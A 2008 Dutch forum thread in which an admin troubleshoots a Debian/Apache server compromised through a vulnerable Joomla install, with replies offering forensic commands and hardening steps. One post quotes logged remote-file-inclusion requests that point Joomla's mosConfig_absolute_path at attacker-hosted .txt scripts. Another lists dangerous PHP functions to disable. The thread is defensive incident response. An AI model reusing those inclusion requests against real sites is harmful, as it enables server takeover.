Apache gehackt - Linux en overige clients

donderdag 21 februari 2008 18:34

Acties:

Topicstarter

Ik heb een machine met debian stable en apache2 draaien. Er draait een joomla site op en nog wat anderen dingen. Gister draaide apache opeens niet meer en zijn we tot de conclusie gekomen dat er een hacker bezig is. Er draaide allemaal shell scriptjes die ssh scans uitvoerde onder de gebruiker www-data. Bij het starten van apache krijgen we de volgende foutmelding

code:

(98)Address already in use: make_sock: could not bind to address [::]:80
(98)Address already in use: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs

We proberen alles te verwijderen maar er draait constant een scriptje met de naam 4001.sh onder www-data. Als we hem killen komt hij weer terug. Ik ben al bezig met een rootkit scanner. Hoe kunnen we dit verder onderzoeken en hoe komen we de achter hoe de hacker binnen is gekomen?

Bedankt.

donderdag 21 februari 2008 18:37

Acties:

Gromba

Tijdreiziger @ 1sec/sec

Deze 'hacker' had in de mappen `/var/tmp/ /fast` en `/tmp/fast` een aantal bestanden geplaatst:
a, common, core, gen-pass.sh, pass_file, pscan2, screen, ssh-scan, start en vuln.txt (waarbij vuln.txt een leeg bestand was).

Op een of andere manier kon de gebruiker deze programma's als www-user (de gebruiker van onze apache2) uitvoeren.

Gromba.nl

donderdag 21 februari 2008 18:38

Acties:

Comgenie

Soms heb je dat

Waarschijnelijk is het niet apache zelf wat gehackt is. Maar via een slecht beveiligd php scriptje kan iemand commands runnen als www-data. De melding adres in use betekend iig dat de server nog wel draait, of iig een andere server op de poort voor website's. Probeer te kijken in de logs of je iets kan terugvinden op het moment toen had nog draaide.

[ Voor 15% gewijzigd door Comgenie op 21-02-2008 18:40 ]

No animals were harmed in the making of this comment.

donderdag 21 februari 2008 18:38

Acties:

Verwijderd

lsof -i tcp:80

Kijk wat er luistert op poort 80. Dat moet iets zijn, want apache kan niet op die poort binden.

ps aux | egrep "apache|httpd"

Kijk goed naar wat er allemaal draait, en kijk naar het exacte pad van httpd of apache2.

donderdag 21 februari 2008 18:40

Acties:

Gromba

Tijdreiziger @ 1sec/sec

COMMAND  PID     USER   FD   TYPE DEVICE SIZE NODE NAME
4001    9928 www-data    3u  IPv6  12924       TCP *:www (LISTEN)
sh      9929 www-data    3u  IPv6  12924       TCP *:www (LISTEN)

en:

www-data  2972  0.0  0.2  32100  4464 ?        S    10:41   0:01 /usr/lib/vmware-mui/apache/bin/httpd.vmware -DSSL -DSSL_ONLY -DGSX -d /usr/lib/vmware-mui/apache
www-data  3013  0.0  0.1  32276  3244 ?        S    10:41   0:00 /usr/lib/vmware-mui/apache/bin/httpd.vmware -DSSL -DSSL_ONLY -DGSX -d /usr/lib/vmware-mui/apache
www-data  9928 27.1  0.0   1448   268 ?        R    16:53  29:04 ./4001
www-data  9929  0.0  0.0   3240  1636 ttyp0    Ss+  16:53   0:00 sh -i

Is er een manier om te kijken waarvandaan het proces 4001 (pid 9928) draait?

[ Voor 5% gewijzigd door Gromba op 21-02-2008 18:40 ]

Gromba.nl

donderdag 21 februari 2008 18:43

Acties:

Verwijderd

updatedb && locate 4001

Kan even duren als locate een tijdje niet heeft gedraaid.

Waarschijnlijk draait het uit een directory met een hele vage onopvallende naam. Goed kijken dus...
Proces afschieten, machine patchen met alle laatste packages, en alle Joomla rommel updaten en vage add-ons verwijderen.

donderdag 21 februari 2008 18:46

Acties:

Sprite_tm

Semi-Chinees

Je bak is gehacked? Dan is er eigenlijk maar 1 oplossing: bak offline halen, HD backuppen als zijnde bewijs en compleet opnieuw installeren. Niet proberen aan te modderen met de shit opruimen: je kan namelijk onmogelijk 100% zeker weten dat je alles weggehaald hebt; voor hetzelfde geld vergeet je een backdoortje en is je bak zo weer de zombie aan het uithangen. Als je dat alles gedaan hebt kan je eens aan de 'dode' backup gaan kijken of je het break-in-point kan vinden.

Relaxen und watchen das blinkenlichten. | Laatste project: Ikea Frekvens oog

donderdag 21 februari 2008 18:46

Acties:

Gromba

Tijdreiziger @ 1sec/sec

find / | grep 4001 levert niets op... en op jouw manier vindt hij het bestand ook niet.

Het proces is nu ook niet meer te killen, met geen enkele 'vermoord'-commando

Nu wel, maar het komt vanzelf weer terug neem ik aan

Sprite_tm: Ik denk serieus dat je gelijk hebt

[ Voor 24% gewijzigd door Gromba op 21-02-2008 18:49 ]

Gromba.nl

donderdag 21 februari 2008 19:00

Acties:

capedro

wat je wellicht kan proberen is kijken wat strace je gaat vertellen...

Je kan dit doen via het commando:

code:

1	strace -tt -ff -p {pid} -o {output-files}

Dus in jouw geval zal dit o.a. het pid van het 4001 proces zijn... dus gebruik je:

code:

1	strace -tt -ff -p 9928 -o /tmp/hacked/blah-output

Wat strace doet... die volgt ook de forks van dat proces

Je [b]moet[b] dit wel doen als root!!!

Vervolgens krijg je in de map /tmp/hacked/blah-output.* allemaal output aangaande de processen... check voor meer info o.a. deze pagina.

Success

My weblog

donderdag 21 februari 2008 19:56

Acties:

E-jey

Topicstarter

We concluderen dat er dus een brakke site draait, waarschijnlijk dat joomla ding. De server is verder niet gehack er zijn alleen wat foute dingen onder de apache user gedaan. We gaan php nu niet via een module maar via cgi installeren. Daarmee kan elke site onder zijn eigen user draaien. Nu draait apache geheel afgeslankt.

donderdag 21 februari 2008 20:06

Acties:

BarthezZ

anti voetbal en slechte djs!

Heb je je bak al reinstalled?

Denk je aan een chroot voor je cgi? Ga je fast-cgi gebruiken voor de performane? Update je joomla wel en zoek je eerst uit in je logs via welk script ze iets hebben kunnen doen?
Als je een aantal dingen niet doet dan kunnen ze evensnel weer heel je bak hebben...

En "foute dingen onder apache gedaan waardoor er vanalles draait kwa scans etc." is toch echt wel mijn definitie van dat je server gehacked is

donderdag 21 februari 2008 21:31

Acties:

Verwijderd

BarthezZ schreef op donderdag 21 februari 2008 @ 20:06:
[...]

En "foute dingen onder apache gedaan waardoor er vanalles draait kwa scans etc." is toch echt wel mijn definitie van dat je server gehacked is

Wel gehacked, maar zeer waarschijnlijk niet geroot.

Als je niet geroot bent, kunnen rootkits en andere hardnekkige scripts zich niet verstoppen.

Als je alle processen die uit www-data zijn ontsprongen netjes opruimt, is er waarschijnlijk niets meer aan de hand. Behalve dat je dan alsnog een lekke webserver of lekke website draait.

Webserver/website fixen, en doorgaan met die handel. Heb je ook maar het vaagste vermoeden dat je geroot bent, opnieuw installeren.

Helemaal safe is je setup momenteel dus niet, maar aan de andere kant, hoeveel dozen bieden er geen shell-toegang aan Jan en alleman?

donderdag 21 februari 2008 21:34

Acties:

BCC

Verwijderd schreef op donderdag 21 februari 2008 @ 21:31:
[...]

Wel gehacked, maar zeer waarschijnlijk niet geroot.

Nou, dat weet ik zo net nog niet:
gezien de lsof output:

code:

1
2
3

COMMAND  PID     USER   FD   TYPE DEVICE SIZE NODE NAME
4001    9928 www-data    3u  IPv6  12924       TCP *:www (LISTEN)
sh      9929 www-data    3u  IPv6  12924       TCP *:www (LISTEN)

Draaien er twee processen die data ontvangen op port 80 en het is niet apache. Dan is er dus iets wat apache gestopt heeft en iets anders gestart. Ik had het iig helemaal opnieuw geinstalleerd. Die bak is zo nooit meer te vertrouwen.

Na betaling van een licentievergoeding van €1.000 verkrijgen bedrijven het recht om deze post te gebruiken voor het trainen van artificiële intelligentiesystemen.

donderdag 21 februari 2008 21:39

Acties:

Verwijderd

BCC schreef op donderdag 21 februari 2008 @ 21:34:
Nou, dat weet ik zo net nog niet:
gezien de lsof output:
code:
1
2
3
COMMAND  PID     USER   FD   TYPE DEVICE SIZE NODE NAME
4001    9928 www-data    3u  IPv6  12924       TCP *:www (LISTEN)
sh      9929 www-data    3u  IPv6  12924       TCP *:www (LISTEN)
Draaien er twee processen die data ontvangen op port 80 en het is niet apache. Dan is er dus iets wat apache gestopt heeft en iets anders gestart. Ik had het iig helemaal opnieuw geinstalleerd. Die bak is zo nooit meer te vertrouwen.

Ze draaien onder de user www-data. Dat betekent dat ze door Apache zijn gestart, waarschijnlijk als onderdeel van een php-scriptje (exec('sh scan_for_ssh.sh') ofzo).

De user www-data mag haast niets. Als de bak geroot was, draaide de scripts onder water (rootkit), of onder een user die meer mag dan Apache.

Nogmaals, als het alleen www-data is die gekke dingen doet, zie ik geen reden tot herinstallatie. Sterker nog, als je herinstalleert en de lekke website terug zet, ben je morgen weer gehacked door precies hetzelfde lek.

Processen van www-data afschieten, website/webserver fixen, en door.

vrijdag 22 februari 2008 07:36

Acties:

Verwijderd

Er is zat in veel linux kernels een local root exploit 2.6.17-2.6.24.1 dacht ik. Als je een van die kernels draaide was het niet moeilijk voor de aanvaller om root te krijgen, dan kan je zeker dat bak reinstallen

vrijdag 22 februari 2008 07:45

Acties:

Rainmaker

RHCDS

Gromba schreef op donderdag 21 februari 2008 @ 18:46:
Het proces is nu ook niet meer te killen, met geen enkele 'vermoord'-commando
Nu wel, maar het komt vanzelf weer terug neem ik aan

code:

ps -afx

En even kijken wat het parent proces is. Die kill -9'en

We are pentium of borg. Division is futile. You will be approximated.

vrijdag 22 februari 2008 07:55

Acties:

asing

Het probleem is hier Joomla! Niet Apache. Ik heb dit ook gehad.

De oorzaak zit in dit stukje ellende :

code:

 ///?mosConfig_absolute_path=http://preciou ... ates/yis.txt???: 1 Time(s)
       ///?mosConfig_absolute_path=http://www.par ... oads/yes.txt???: 1 Time(s)
       ///?mosConfig_absolute_path=http://x.apescar.net/if??: 1 Time(s)
       /WiltshireHorn///?mosConfig_absolute_path= ... ates/yis.txt???: 1 Time(s)
       /WiltshireHorn///?mosConfig_absolute_path= ... oads/yes.txt???: 1 Time(s)
       /WiltshireHorn///?mosConfig_absolute_path= ... pescar.net/if??: 1 Time(s)
       /WiltshireHorn//?mosConfig_absolute_path=h ... TAIYELOLU.txt??: 1 Time(s)
       /WiltshireHorn//index2.php?mosConfig_absol ... com/new/id.txt?: 2 Time(s)
       /WiltshireHorn/?mosConfig_absolute_path=ht ... 5.com/puff.txt?: 1 Time(s)
       /WiltshireHorn/?mosConfig_absolute_path=ht ... 9.110mb.com/p7?: 1 Time(s)
       /WiltshireHorn/?mosConfig_absolute_path=ht ... g.com/httd.txt?: 1 Time(s)
       /WiltshireHorn/?mosConfig_absolute_path=ht ... sk/spread.txt??: 3 Time(s)

WiltshireHorn is de directory waarin Joomla is geïnstalleerd. Hier zit een onderdeel in genaamd mosConfig en deze accepteert absolute paden. Deze module wordt zoals hierboven te zien is zwaar misbruikt door externe sites aan te roepen met vage tekstbestanden. Die tekstbestanden bevatten weer scripts om Apache van alles te laten doen. En DAT is je probleem

.

De oplossing is al even simpel als het probleem. RTFM

. Joomla levert in de installatie standaard een htaccess.txt mee. Deze moet je hernoemen naar .htaccess en je moet in apache.conf opnemen dat een rewrite toegestaan is. Ik moet thuis effe uitzoeken hoe ik dit ook alweer geflikt heb.

Het .htaccess bestand moet je wel even aanpassen aan je wensen. Zo kun je ook alle botjes buiten de deur houden. Het .htaccess bestand levert een Forbidden (HTTP 403) op voor die scripts. Je zal nog steeds die absolute path meldingen zien maar nu met 403 ipv ik meen 400.

Verder is er heel wat geschreven over de beveiliging van Joomla.

Who's General Failure and why is he reading my harddrive? - Projectmanager : a person who thinks nine women can make one baby in one month

vrijdag 22 februari 2008 08:40

Acties:

Eijkb

Zo.

Zorg er voor dat je de /tmp dirs noexec mount en je bent van het probleem af. Bekend probleem, scriptkiddies die via Joomla vanalles en nog wat in je /tmp dirs zetten en dat via exec() starten.

1. Eigenaar site zijn joomla laten updaten.
2. /tmp dirs noexec mounten
3. Alle vreemde files (txt, sh e.d.) en directories in je /tmp dir een chmod -R 0000 geven, processen killen en http herstarten (via netstat -lp kan je zien welke processen er op je httpd poort draaien).
4. Evt. mod_security installeren, dan zullen deze aanroepen een fout 400 krijgen en niet uitgevoerd worden.
5. In php.ini bij disable_functions alle execute commando's opnemen (exec, shell_exec e.d.)
6. neem apache op in je cron.deny
7. Leer eens iets over het beveiligen van je apache webserver

8. Succes!

[ Voor 8% gewijzigd door Eijkb op 22-02-2008 08:44 ]

.

vrijdag 22 februari 2008 19:38

Acties:

Verwijderd

Pas op bij het noexec mounten van je /tmp en /var/tmp. Logrotate is bijv. een programma die door het noexec mounten van deze directories zijn logs niet meer goed kan roteren. Tevens kan je met packagemanagers zoals apt-get ook zeer rare dingen tegen komen als je /tmp noexec gemount hebt.

Daarnaast kun je makkelijk de locatie traceren van een programma of script dat draait. Door in /proc de juiste pid directory binnen te gaan (pid kan je achterhalen met ps aux) en dan met ls kijken waar de cwd en exe symlinks naar toe verwijzen.

vrijdag 22 februari 2008 20:51

Acties:

E-jey

Topicstarter

Ik heb bijna alle punten uitgevoerd en ik hoop dat het nu goed gaat. Bdeankt voor de hulp. Misschien dat we nog een versie installatie erop zetten.Komende week ga ik me ook verdiepen in mod_security en anderen apache beveiliging.

vrijdag 22 februari 2008 21:47

Acties:

asing

Wat ook goed helpt is het volgende :

Ik heb een linux bak direct aan internet, met http, smtp firewall en de hele rimram. Zoals te zien was in mijn eerdere post, was ook de mijne gehacked. Nou ja, er was een virus op geplant dat via IRC commando's kreeg. Het dign heeft 2000+ mails op een dag staan spammen. Een maat stelde wat voor en ik heb ook wat doorgevoerd. Een opsomming :

- ik heb het via sendmail onmogelijk gemaakt dat apache@localhost en apache@mijnserver.net mail mogen versturen. Als Apache wordt misbruikt voor spam dan gaat het iig niet naar buiten.

- verder heb ik met chmod en chown alles in de www folder dichtgezet voor apache. Die user mag lezen op schrijven waar dat echt moet en verder niets. Het virus zat in een template backup van phpBB. Per ongeluk teveel rechten....

- Zoals ik al schreef, het is mogelijk voor een server om deel te nemen in een botnet (IRC). Dit is te voorkomen door firewall en http server fysiek en logisch te scheiden. De firewall stel je ZO in dat alleen poort 80 en 443 door mogen van en naar je webserver. Plant iemand er iets op wat een connectie met IRC wil maken dat valt dat stil bij je firewall. Aangezien je niet met SSH van de webserver naar de firewall komt, kan die poort niet opengezet worden.

- als laatste eb ik met htaccess de rest dichtgetimmerd.

Zeg nooit nooit maar met al deze maatregelen kunnen ze proberen wat ze willen, ze hebben er een hele kluif aan

.

Edit : het doorspitten van je logwatch mail in de root box levert een hoop nuttige info op....

[ Voor 3% gewijzigd door asing op 22-02-2008 21:48 ]

Who's General Failure and why is he reading my harddrive? - Projectmanager : a person who thinks nine women can make one baby in one month

zaterdag 23 februari 2008 10:10

Acties:

Verwijderd

Overigens is het vaak beter om php als cgi te draaien. Dus dan draait php niet onder www-data maar onder een unix user account. Als je meerdere websites host kom je er als snel achter wie de boosdoender is. Verder raad ik aan om nooit, maar dan ook nooit ssh toegang via password autorisatie te doen (op mijn werk is dit zelfs verboden) maar altijd doormiddel van keys)

Tsja en de firewall moet zowel ingaand alsmede uitgaand verkeer reguleren.

zaterdag 23 februari 2008 19:32

Acties:

freggy

Nog een paar random tips om PHP te beveiligen:

Zet in php.ini
allow_url_fopen = Off
en blokkeer een hoop gevaarlijke functies:
disable_functions = "php_uname, getmyuid, getmypid, passthru, leak, listen, diskfreespace, tmpfile, link, ignore_user_abord, shell_exec, dl, set_time_limit, exec, system, highlight_file, source, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, phpinfo"

Installeer ook php-suhosin.

Beste is natuurlijk dat je alle uitgaande connecties ook kan blokkeren, met uitzondering dan van een paar hosts die je vertrouwt zoals FTP mirros voor veiligheidsupdates en dergelijke...

Overigens:

Ze draaien onder de user www-data. Dat betekent dat ze door Apache zijn gestart, waarschijnlijk als onderdeel van een php-scriptje (exec('sh scan_for_ssh.sh') ofzo).

Ik zou hier nog niet zo gerust in zijn, aangezien ze luisteren op poort 80 en normaal gezien kan je enkel via root op poort 80 luisteren.

[ Voor 13% gewijzigd door freggy op 23-02-2008 19:36 ]

zondag 24 februari 2008 16:11

Acties:

BCC

freggy schreef op zaterdag 23 februari 2008 @ 19:32:
Ik zou hier nog niet zo gerust in zijn, aangezien ze luisteren op poort 80 en normaal gezien kan je enkel via root op poort 80 luisteren.

Dat probeerde ik ook een aantal posts geleden al duidelijk te maken... Ik zou altijd herinstalleren na een hack. Het risico is te groot dat je iets gemist hebt.

Na betaling van een licentievergoeding van €1.000 verkrijgen bedrijven het recht om deze post te gebruiken voor het trainen van artificiële intelligentiesystemen.

zondag 24 februari 2008 23:34

Acties:

Verwijderd

BCC schreef op zondag 24 februari 2008 @ 16:11:
[...]

Dat probeerde ik ook een aantal posts geleden al duidelijk te maken... Ik zou altijd herinstalleren na een hack. Het risico is te groot dat je iets gemist hebt.

Er is geen enkele aanwijzing dat de bak geroot is.

Het enige dat is aangetroffen, is een paar scriptkiddie-scanners die allen netjes onder www-data draaien. Toegang is verkregen d.m.v. een lekke Joomla!-installatie. Als je alle processen die draaien onder www-data afschiet, is er niets aan de hand.

Als je na iedere lekker Joomla!-install gaat herinstalleren, blijf je bezig.

Als je shared webhoster bent, is het een kwestie van tijd eer dit soort dingen gebeurt. PHP staat zoveel toe, dat je met een klein foutje in je code malafide scripts kunt uitvoeren. Daar is niets mis mee, dat is zelfs handig (not a bug, but a feature), maar dat weet je als je webhosting met PHP aanbiedt.

Webhosting met PHP kun je amper dichtspijkeren. De tips in de topic komen allemaal neer op blacklisten. Dat houdt veel tegen, maar lang niet alles. PHP kan zoveel, het is moeilijk daar tegenop te blacklisten. En als je je bak te streng afstelt, gaan je klanten klagen omdat scripts als Wordpress en Joomla! niet werken. En terecht; klanten betalen voor PHP-support, dan mogen ze verwachten dat gangbare PHP-software moeiteloos draait.

woensdag 27 februari 2008 00:21

Acties:

E-jey

Topicstarter

Goed het heeft tot afgelopen nacht allemaal goed gedraait. Toen was het weer raak. Dit keer niet in /tmp maar in /var/tmp (die was niet noexec gemount). Die heb ik ook maar noexec gemount. Ik denk dat wij steeds apache gekilled hebben en dat die script vervolgens port 80 kapen. Maar dat kan je alleen als je root bent. Dus heeft hij toch meer rechten.

Nu ze de temp dirs niet kunnen gebruiken draaien ze het gewoon vanuit de dir waar de site staat denk ik. Elke site op een eigen user werkt nog niet, moet ik eerst even goed uitzoeken.

Niels Sijm, de oude website draaide ook joomla. (eigenlijk mambo) en die stond op een server in de vs (shared hosting). Dit heeft jaren geod gedraaid zonder problemen. Je moet een server toch helemaal dicht kunnen timmeren.

woensdag 27 februari 2008 00:42

Acties:

BarthezZ

anti voetbal en slechte djs!

En is je server onderhand al reinstalled en je joomla lekken gedicht?

Anders blijf je bezig natuurlijk

woensdag 27 februari 2008 09:40

Acties:

asing

E-jey schreef op woensdag 27 februari 2008 @ 00:21:
Goed het heeft tot afgelopen nacht allemaal goed gedraait. Toen was het weer raak. Dit keer niet in /tmp maar in /var/tmp (die was niet noexec gemount). Die heb ik ook maar noexec gemount. Ik denk dat wij steeds apache gekilled hebben en dat die script vervolgens port 80 kapen. Maar dat kan je alleen als je root bent. Dus heeft hij toch meer rechten.

Nu ze de temp dirs niet kunnen gebruiken draaien ze het gewoon vanuit de dir waar de site staat denk ik. Elke site op een eigen user werkt nog niet, moet ik eerst even goed uitzoeken.

Niels Sijm, de oude website draaide ook joomla. (eigenlijk mambo) en die stond op een server in de vs (shared hosting). Dit heeft jaren geod gedraaid zonder problemen. Je moet een server toch helemaal dicht kunnen timmeren.

Kun je een stuk van je logwatch mail posten? Ik had namelijk op mijn server gezien dat de attacks altijd begonnen met het aanroepen van een .txt bestand via mosconfig_abslute_path. Door alles te verbieden met de naam .txt voorkom je dat deze scripts aangeroepen kunnen worden.

Who's General Failure and why is he reading my harddrive? - Projectmanager : a person who thinks nine women can make one baby in one month

woensdag 27 februari 2008 09:55

Acties:

DiedX

Een aantal zaken kloppen, en een aantal niet. De shit zal je altijd terugvinden in /tmp, /var/tmp of /dev/shm (shared memory).

Wil je 100% zekerheid, formatteer dan de bak. Beter is om gewoon alles te patchen wat je hebt (dus Linux, maar ook je forumpje). Ik heb niets meer dan ellende gehad met klanten die hun forum "nog even niet" geupdate hadden. Ik beproef bij jou niet anders (NOFI, maar je leert het zo de harde manier).

BCC schreef op donderdag 21 februari 2008 @ 21:34:
[...]

Nou, dat weet ik zo net nog niet:
gezien de lsof output:
code:
1
2
3
COMMAND  PID     USER   FD   TYPE DEVICE SIZE NODE NAME
4001    9928 www-data    3u  IPv6  12924       TCP *:www (LISTEN)
sh      9929 www-data    3u  IPv6  12924       TCP *:www (LISTEN)
Draaien er twee processen die data ontvangen op port 80 en het is niet apache. Dan is er dus iets wat apache gestopt heeft en iets anders gestart. Ik had het iig helemaal opnieuw geinstalleerd. Die bak is zo nooit meer te vertrouwen.

Het klopt dat Apache afsterft, maar de processen draaien nog steeds onder apache (user = www-data). Apache start niet meer, omdat poort 80 in gebruik is (de exploit).

Hier had je kunnen kijken met lsof | grep 9928 wat er aan het viespeuken was.

Niels zegt:

Nogmaals, als het alleen www-data is die gekke dingen doet, zie ik geen reden tot herinstallatie. Sterker nog, als je herinstalleert en de lekke website terug zet, ben je morgen weer gehacked door precies hetzelfde lek.

Klopt als een bus.

Eijkb schreef op vrijdag 22 februari 2008 @ 08:40:
Zorg er voor dat je de /tmp dirs noexec mount en je bent van het probleem af. Bekend probleem, scriptkiddies die via Joomla vanalles en nog wat in je /tmp dirs zetten en dat via exec() starten.

Als ik het uitvoer met perl /tmp/blaat.pl werkt het alsnog. Dit werkt aardig, maar niet zaligmakend dus.

freggy schreef op zaterdag 23 februari 2008 @ 19:32:
Nog een paar random tips om PHP te beveiligen:

100% mee eens.

Mijn tip: zet wget, lynx, links, curl etc met dusdanige rechten dat een ordinairy user niet erbij kan. Patch je joomla, mambo, wordpress etc. Kijk met dmesg naar gekke dingen inzake je kernel.

Mocht het laaste niets opleveren, dan zou ik doorgegaan zijn met die bak. Mocht je ook maar enigszins het idee hebben dat je het niet vertrouwd: backuppen (deed je toch?), formatteren en uithuilen. En patchen natuurlijk

DiedX supports the Roland™, Sound Blaster™ and Ad Lib™ sound cards